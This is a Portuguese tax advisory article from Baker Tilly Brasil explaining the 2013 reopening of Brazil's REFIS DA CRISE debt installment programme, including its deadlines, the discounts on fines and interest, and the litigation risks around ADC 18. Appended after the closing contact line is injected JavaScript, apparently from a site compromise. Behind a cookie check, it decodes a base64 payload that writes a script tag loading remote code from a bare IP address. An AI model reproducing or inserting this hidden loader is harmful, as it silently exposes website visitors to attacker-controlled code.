A reabertura do “REFIS DA CRISE”
Por Juan Blas
Gerente de TAX da Baker Tilly Brasil
Como vem sendo noticiado, em 10 de outubro de 2013 foi publicada a Lei nº 12.865/2013 que, dentre outras coisas, reabriu a possibilidade de adesão pelos contribuintes endividados ao programa de parcelamento de dívidas conhecido como REFIS DA CRISE, bem como abertura do REFIS das Autarquias e Fundações. Com essa medida, os contribuintes terão até 31 de dezembro de 2013 para analisarem as eventuais dívidas que possuam e para aderirem ao referido programa.
Além da reabertura do REFIS DA CRISE o Governo Federal incluiu na legislação a possibilidade de parcelamento, com reduções de encargos, também para os seguintes temas:
• alargamento da base de cálculo do PIS e COFINS, trazido pela Lei nº 9.718/98, para as instituições financeiras e seguradoras;
• incidência de IRPJ e de CSLL sobre os lucros auferidos no exterior por multinacionais brasileiras; e
• exclusão do ICMS na base de cálculo do PIS e da COFINS.
Dos prazos e das reduções de encargos para adesão aos parcelamentos
A referida lei trouxe regras favoráveis aos contribuintes com dívidas fiscais.
Em relação à reabertura do parcelamento do REFIS DA CRISE, para os débitos em aberto até novembro de 2008, os benefícios são:
• Redução de 60% a 100% da multa de mora, de acordo com o prazo;
• Redução de 20% a 40% da multa isolada;
• Redução de 25% a 45% dos juros de mora; e
• Redução de 100% dos encargos legais.
Vale ressaltar que os contribuintes tem a possibilidade de utilização tanto dos saldos de base negativa de Contribuição Social sobre o Lucro e prejuízos fiscais do IRPJ para liquidação de valores em atraso, inclusive de multa e juros, quanto de eventuais depósitos judiciais efetuados no passado.
Já para os débitos de PIS e de COFINS, vencidos até 31 de dezembro de 2012, de instituições financeiras e de contribuintes que possuem discussão judicial do da exclusão do ICMS na base de cálculo do PIS e da COFINS, os benefícios são:
• No caso de pagamento a vista: reduções de 100% das multas de mora e de ofício, de 80% das multas isoladas, de 45% dos juros de mora e de 100% sobre o valor do encargo legal para pagamento do débito a vista; ou
• No caso de parcelamento em 60 meses, sendo: 20% de entrada e o restante em parcelas mensais, com redução de 80% das multas de mora e de ofício, de 80% das multas isoladas, de 40% dos juros de mora e de 100% sobre o valor do encargo legal.
Importante ressaltarmos aqui que, até o presente momento, a questão da exclusão do valor do ICMS da base de cálculo do PIS e COFINS ainda não foi definitivamente julgada, pois o STF ainda irá analisar a Ação Declaratória de Constitucionalidade 18 que trata sobre o tema. Por esse motivo, recomendamos uma análise bastante cautelosa do tema antes de desistir de ações em curso para adesão ao referido parcelamento.
Antes do ajuizamento da ADC 18 pelo Governo, o plenário do STF já havia proferido seis votos favoráveis aos contribuintes e apenas um a favor do Fisco nos autos do Recurso Extraordinário 240.785. Embora a tendência era de posicionamento favorável ao contribuinte, com a mudança da composição da Suprema Corte é difícil precisar o resultado final da votação.
Por fim, os débitos de IRPJ e de CSLL incidentes sobre os lucros auferidos no exterior por multinacionais brasileiras, vencidos até 31 de dezembro de 2012, poderão ser:
• pagos à vista, com redução de 100% das multas de mora e de ofício, das multas isoladas, dos juros de mora e do valor do encargo legal; ou
• parcelados em até 120 parcelas, sendo: 20% de entrada e o restante em parcelas mensais, com redução de 80% das multas de mora e de ofício, de 80% das multas isoladas, de 40% dos juros de mora e de 100% sobre o valor do encargo legal.
Conclusão
O parcelamento introduzido pela Lei nº 12.865/2013 traz grandes vantagens financeiras aos Contribuintes.
A adesão aos parcelamentos implica na necessidade de desistência de eventual discussão judicial e administrativa dos temas, bem como reconhecimento irretratável de dívida. Sendo assim, deve ser analisada com cautela a possibilidade de êxito destas disputas judiciais antes da adesão aos programas de parcelamento.
Nós da Baker Tilly Brasil temos o maior prazer em discutir o referido tema e permanecemos à disposição para quaisquer esclarecimentos.
Para saber mais sobre como podemos te ajudar com serviços de Tributos, fale com Fábio Garcia diretor de TAX da Baker Tilly Brasil: fabio.garcia@bakertillybrasil.com.br (“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘